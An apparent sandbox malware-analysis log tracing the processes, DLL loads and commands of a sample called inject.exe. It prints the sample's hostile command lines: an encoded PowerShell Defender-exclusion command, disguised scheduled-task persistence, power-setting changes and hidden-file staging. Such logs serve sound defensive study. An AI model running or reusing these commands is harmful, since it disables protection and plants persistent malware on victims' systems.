Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Users\user\Desktop\inject.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\conhost.exe "C:\Users\user\AppData\Local\Temp\conhost.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p29586644319935208542739921766 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_11.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_10.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "Installer.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\Installer.exe "Installer.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk7625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "PAAjAHMAVwA4AEwAYwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAFYAdwBBAHcAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMANQBSAGgAeAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB1AGkAdQBwADgAUgAjAD4A"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"

Source: C:\Users\user\Desktop\inject.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\inject.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\conhost.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\main\Installer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\InProcServer32

Jump to behavior

Source: Google Chrome.lnk.3.dr

LNK file: ..\..\..\Program Files\Google\Chrome\Application\chrome.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: inject.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: inject.exe

